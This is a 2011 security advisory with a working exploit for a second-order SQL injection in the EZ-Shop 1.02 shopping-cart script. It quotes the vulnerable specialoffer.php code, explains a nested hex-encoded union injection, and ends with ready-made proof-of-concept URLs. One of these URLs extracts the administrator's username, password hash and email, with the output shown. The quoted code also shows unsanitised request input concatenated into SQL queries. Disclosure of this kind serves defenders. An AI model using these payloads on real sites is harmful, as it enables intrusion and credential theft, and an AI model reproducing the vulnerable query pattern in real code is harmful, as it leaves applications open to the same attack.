EZ-Shop 1.02 SQL Injection

`[Security Advisory Details: 14/04/2011]  
  
[Script] EZ-Shop 1.02  
[Location] http://www.fcsoftware.co.uk/index.php?page=opensource  
[Vulnerability] SQL Injection  
[Original Adv] http://y-osirys.com/security/exploits/id28  
[Author] Giovanni Buzzin, "Osirys"  
[Site] y-osirys.com  
[Contact] osirys[at]autistici[dot]org  
  
Greets to: stratsec,senseofsecurity  
  
  
------------------------------------------------------------------------------------------------------------  
[CMS Description]  
  
EZ-Shop is a simple out of the box e-Commerce solution aimed at small startups and independant retailers  
looking to get into online trade. The system was initially designed to be simple and easy to use but with  
many features that more complex packages lack.   
  
  
  
------------------------------------------------------------------------------------------------------------  
[Security Flaw]  
  
EZ-Shop is prone to SQL Injection due to insufficent user supplied input sanization.  
  
[code:/specialoffer.php:line 249-283]  
  
<?php  
if(isset($_REQUEST['specialid']) && ($_REQUEST['specialid'])!="")  
{  
?><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">  
<tr>  
<td height="23" colspan="2" class="head"><table width="100%" border="0" cellspacing="0" cellpadding="0">  
<tr>  
  
<td style="width:1px;"></td>  
<td height="22" bgcolor="#000000" class="style1" style="padding-left:14px;">Products</td>  
<td style="width:1px;"></td>  
</tr>  
</table></td>  
</tr>  
<?php   
$speid=$_REQUEST['specialid'];  
$sql="select * from tblprodgiftideas where intgiftideaid='$speid'";  
$resgid=$obj_db->select($sql);  
if(count($resgid)>0)  
{  
for($p=0;$p<count($resgid);$p++)  
{  
//echo $resgid[$p]['intprodid']."<br>";  
$prid=$resgid[$p]['intprodid'];  
$sql6="select * from tblproddesc where intid='$prid'";  
$resprname1=$obj_db->select($sql6);  
if(count($resprname1)>0)  
{  
$desc=$resprname1[0]['txtdesc'];  
  
$resprname1=$resprname1[0]['varprodname'];  
  
}  
else  
{  
$resprname1="";  
}  
$sql6="select * from tblproducts where intprodid='$prid'";  
  
$resprname=$obj_db->select($sql6);  
if(count($resprname)>0)  
{  
$proprice=$resprname[0]['decprice'];  
?>  
  
<tr>  
<td width="50%"><table width="100%" height="170" border="0" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC" class="proborder">  
<tr>  
<td height="25" colspan="2" class="fntstyle">&nbsp;<?php echo $resprname1;?></td>  
  
[/code]  
  
This vulnerability is kind of weird, since is an SQL Injection injected through a column result of another SQL Injection.  
The variable $speid comes from $_REQUEST, without being properly sanitized, here the Injection starts.  
  
QUERY 1: $sql="select * from tblprodgiftideas injectwhere intgiftideaid='$speid'";  
  
The result of this Query is not showed on the screen, but is sent to another query: QUERY 2.  
  
QUERY 2: $sql6="select * from tblproddesc where intid='$prid'";  
  
As we can see from this piece of code:  
  
[code]  
$speid=$_REQUEST['specialid'];  
$sql="select * from tblprodgiftideas where intgiftideaid='$speid'";  
$resgid=$obj_db->select($sql);  
if(count($resgid)>0)  
{  
for($p=0;$p<count($resgid);$p++)  
{  
//echo $resgid[$p]['intprodid']."<br>";  
$prid=$resgid[$p]['intprodid']; <---- prid  
$sql6="select * from tblproddesc where intid='$prid'";  
[/code]  
  
This time the result of QUERY 2 is showed through : <?php echo $resprname1;?>  
  
  
So basically, what we need to do is to inject a query into QUERY 1 that will give back as a result another SQL Injection, injected  
then into QUERY 2 through $prid.  
  
To do this, concat() mysql functions can become very helpful. Let's inject the second Injection as separator encrypted in hex.  
Ex: concat(hex(SQL_PART1),something,hex(SQL_PART2));  
something could be: @@version  
Since we don't want it to interfer with the Injection, we can comment it, updating the concat() in this way:  
  
SQL_PART1 : 1' union select 1,2,/* --> hex(SQL_PART1) = 0x312720756e696f6e2073656c65637420312c322c2f2a  
something : @@version  
SQL_PART" : */@@version,4,5# --> hex(SQL_PART2) = 0x2a2f404076657273696f6e2c342c3523  
  
Concat will be: concat(0x312720756e696f6e2073656c65637420312c322c2f2a,@@version,0x2a2f404076657273696f6e2c342c3523)  
  
mysql> select concat(0x312720756e696f6e2073656c65637420312c322c2f2a,@@version,0x2a2f404076657273696f6e2c342c3523);   
+-----------------------------------------------------------------------------------------------------+  
| concat(0x312720756e696f6e2073656c65637420312c322c2f2a,@@version,0x2a2f404076657273696f6e2c342c3523) |  
+-----------------------------------------------------------------------------------------------------+  
| 1' union select 1,2,/*5.1.49-1ubuntu8.1*/@@version,4,5# |  
+-----------------------------------------------------------------------------------------------------+  
1 row in set (0.00 sec)  
  
mysql>   
  
Here is the Second Injection: 1' union select 1,2,/*5.1.49-1ubuntu8.1*/@@version,4,5#  
  
  
## Background Operation  
  
Injection 1 on QUERY 1: 1' union select 1,2,concat(0x312720756e696f6e2073656c65637420312c322c2f2a,@@vers  
ion,0x2a2f404076657273696f6e2c342c3523)%23  
QUERY 1: select * from tblprodgiftideas where intgiftideaid='1' union select 1,2,concat(0  
x312720756e696f6e2073656c65637420312c322c2f2a,@@version,0x2a2f404076657273696f6e  
2c342c3523)#'  
  
Backend Injection 2 on QUERY 2: 1' union select 1,2,/*5.1.49-1ubuntu8.1*/@@version,4,5#'  
QUERY 2: select * from tblproddesc where intid='1' union select 1  
,2,/*5.1.49-1ubuntu8.1*/@@version,4,5#'  
  
(5.1.49-1ubuntu8.1 is commented in order to not interfer with our query) ->  
-> union select 1,2,@@version,4,5  
  
That will finally show through $resprname1 our @@version: 5.1.49-1ubuntu8.1  
  
  
SQL Inection p0c:   
  
/[cms path]/specialoffer.php?specialid=1' union select 1,2,concat(0x312720756e696f6e2073656c6563742031  
2c322c2f2a,@@version,0x2a2f404076657273696f6e2c342c3523)%23  
  
  
Since administrations details are stored in tbladmin table:  
[tbladmin]:[intid,varadminfname,varadminname,varpassword,intstatus,varemail,ttLastLogginDate]  
  
Injection:   
  
SQL_PART1: 1' union select 1,2,/*  
hex(SQL_PART1) = 0x312720756e696f6e2073656c65637420312c322c2f2a  
something: @@version  
SQL_PART1: */concat(0x3a,varadminname,0x3a,varpassword,0x3a,varemail,0x3a),4,5 from tbladmin#  
hex(SQL_PART2) = 0x2a2f636f6e63617428307833612c76617261646d696e6e616d652  
c307833612c76617270617373776f72642c307833612c766172656d  
61696c2c30783361292c342c352066726f6d2074626c61646d696e23  
  
concat(0x312720756e696f6e2073656c65637420312c322c2f2a,@@version,0x2a2f636f6e63617428  
307833612c76617261646d696e6e616d652c307833612c76617270617373776f72642c307833612c7661  
72656d61696c2c30783361292c342c352066726f6d2074626c61646d696e23)  
  
Final Injection:   
  
/specialoffer.php?specialid=1' union select 1,2,concat(0x312720756e696f6e2073656c65637  
420312c322c2f2a,@@version,0x2a2f636f6e63617428307833612c76617261646d696e6e616d652c3078  
33612c76617270617373776f72642c307833612c766172656d61696c2c30783361292c342c352066726f6d  
2074626c61646d696e23)%23  
  
That will show:   
  
:admin:21232f297a57a5a743894a0e4a801fc3:[email protected]:  
  
  
-> Owned  
  
  
  
------------------------------------------------------------------------------------------------------------  
[Exploit]  
  
MySQL Version p0c:  
  
[p0c]  
/[cms path]/specialoffer.php?specialid=1' union select 1,2,concat(0x312720756e696f6e2073656c65637  
420312c322c2f2a,@@version,0x2a2f404076657273696f6e2c342c3523)%23  
[/p0c]  
  
Admin's details p0c:  
[p0c]  
/[cms_path]/specialoffer.php?specialid=1' union select 1,2,concat(0x312720756e696f6e2073656c65637  
420312c322c2f2a,@@version,0x2a2f636f6e63617428307833612c76617261646d696e6e616d652c307833612c76617  
270617373776f72642c307833612c766172656d61696c2c30783361292c342c352066726f6d2074626c61646d696e23)%23  
[/p0c]  
  
  
  
------------------------------------------------------------------------------------------------------------  
[Credits]  
  
Credit goes to Giovanni Buzzin, "Osirys" for the discover of this vulnerability.  
(Meglio)  
  
  
  
------------------------------------------------------------------------------------------------------------  
[END: 14/04/2011]  
`